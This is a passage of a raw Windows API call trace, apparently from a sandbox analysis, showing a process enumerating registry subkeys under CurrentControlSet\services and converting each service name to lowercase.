cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0232.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.520] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.521] RegCloseKey (hKey=0x148) returned 0x0 [0232.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.522] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.522] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.522] RegCloseKey (hKey=0x150) returned 0x0 [0232.522] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.522] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0232.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.523] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.523] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.523] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0232.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.523] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.524] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.524] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.524] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0232.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.525] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.525] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.525] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 